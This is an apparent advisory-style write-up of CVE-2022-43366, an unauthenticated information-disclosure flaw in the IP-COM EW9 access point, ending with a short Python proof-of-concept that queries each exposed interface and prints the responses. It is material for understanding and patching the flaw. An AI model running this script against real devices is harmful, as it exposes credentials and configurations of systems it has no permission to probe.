CVE-2022-43366 - IP-COM EW9 V15.11..14(9732) Unauthenticated Access to Sensitive Information Vulnerability

A recently discovered critical vulnerability, CVE-2022-43366, affects the IP-COM EW9 V15.11..14(9732), leaving it open to unauthenticated attackers to access sensitive information. The IP-COM EW9 is a popular wireless access point device used by businesses and organizations worldwide. The identified vulnerable interfaces include checkLoginUser, ate, telnet, version, setDebugCfg, and boot. This vulnerability poses a severe risk, allowing attackers to gather valuable information and compromise the affected systems potentially.

This article will provide an in-depth analysis of CVE-2022-43366, including code snippets, original references, and detailed exploitation information.

Details of CVE-2022-43366

The exploitable vulnerability occurs when unauthenticated attackers access the following interfaces of the IP-COM EW9 device: checkLoginUser, ate, telnet, version, setDebugCfg, and boot. By exploiting this vulnerability, attackers can obtain sensitive information such as system configurations, credentials, device versions, and debug settings without providing valid authentication credentials. This sensitive information can further help attackers in orchestrating security breaches and tampering with the device.

Here is an example of the code snippet used for exploiting this vulnerability

import requests

target_url = "http://target-ip/cgi-bin/luci";
vulnerable_interfaces = ["checkLoginUser", "ate", "telnet", "version", "setDebugCfg", "boot"]

for interface in vulnerable_interfaces:
    full_url = target_url + "/" + interface
    response = requests.get(full_url)
    
    print(f"Interface: {interface}")
    print("Response:")
    print(response.text)
    print("\n")
